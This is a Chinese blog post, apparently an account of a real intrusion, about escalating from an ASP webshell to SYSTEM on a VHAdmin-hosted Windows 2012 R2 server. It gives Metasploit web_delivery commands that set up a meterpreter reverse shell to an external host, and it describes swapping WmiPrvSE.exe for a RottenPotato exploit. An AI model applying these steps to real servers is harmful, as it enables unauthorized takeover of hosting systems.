所有话题标签: |
0x01 前言
朋友发过来的是一个ASP Webshell,我们先用中国菜刀连接Webshell看下是否能够直接执行系统命令,出现了“[Err] ActiveX 部件不能创建对象”,原因是Wscript.Shell组件被卸载,尝试利用另一个组件Shell.Application执行命令时发现也被卸载了。
0x02 信息搜集
支持脚本:ASP(组件被卸载)、ASPX
目标系统:Windows 2012 R2(IIS8.5)
当前权限:IIS APPPOOLAP_v2.0Classic3
开放端口:21、80、135、445、3389
VHAdmin Version:2013.7.26.15 Builded 2011/10/20
VHAdmin服务名:VHAdminService
VHAdmin进程名:VHAdminService.exe、VHAdminTools.exe、VHConfigManager.exe
webhostingclientsb85f066a-657c-43d1-a219-b6b4cee0c415wwwroot :
[...SNIP...]
0x03 实战提权过程
(1) 绕过组件执行命令
可读写目录:
C:Windowstemp
C:ProgramDataMicrosoftCryptoRSAMachineKeys
可替换文件:
C:WindowsWinSxSamd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cbWmiPrvSE.exe
测试-1:
将提权EXP文件放置Cmd_Path中可以被执行,但测试了几乎所有的提权EXP都没能成功将当前权限提升至System。
测试-2:
将MSF EXE载荷文件放置Cmd_Path中执行可以获取Meterpreter会话,但是很多命令都执行不了,如:getuid、list_tokens等等,getpid、ps、netstat、upload、execute这些命令倒是可以正常执行,但用rottenpotato提权EXP必须用到upload、execute、list_tokens,所以这种方法目前不可行,可以尝试利用execute重新执行一个MSF EXE载荷文件,然后再执行list_tokens。
(2) web_delivery获取会话
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 107.***.***.242
msf exploit(web_delivery) > set lport 443
msf exploit(web_delivery) > set URIPATH /
msf exploit(web_delivery) > exploit
(3) 替换WmiPrvSE.exe提权
这里我们就要用到前边ASP脚本探测到的WmiPrvSE.exe可替换文件了,笔者在实战过程中测试了1个小时,最终确定只有这个可替换文件能够执行成功,其它可读/写目录中上传的文件都执行不了。将我们的rottenpotato提权EXP文件名改为WmiPrvSE.exe,上传并替换掉这个文件。
C:WindowsWinSxSamd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cbWmiPrvSE.exe
0x04 事后原因分析
(1) Argument执行Payload
Argument中执行Powershell载荷获取到的Meterpreter会话是以“iis apppool”权限来运行的,所以我们是可以直接使用upload、execute命令来上传和执行提权EXP的,而且可以用list_tokens、impersonate_token命令获取到目标机器的SYSTEM权限。
(2) Cmd_Path执行Payload
Cmd_Path中直接执行64.111载荷是以一种“未知低权限”来运行的,但事后的测试中发现可读/写目录中上传的提权EXP其实也是可以执行的,当时只是因为权限的问题所以没有利用成功。
注意事项:
-
Meterpreter会话中无法执行中国菜刀上传的提权EXP,提示:Access is denied(拒绝访问)。
-
Meterpreter会话中用upload命令上传的提权EXP是可以用execute执行的,删除提权EXP时也只能在当前会话中用rm命令删除,中国菜刀里删除不了。虽然现在可以上传和执行提权EXP了,但是list_tokens命令仍然不能执行,所以也并不推荐此方法。


本文始发于微信公众号(安全回忆录):VHAdmin虚拟主机提权实战案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论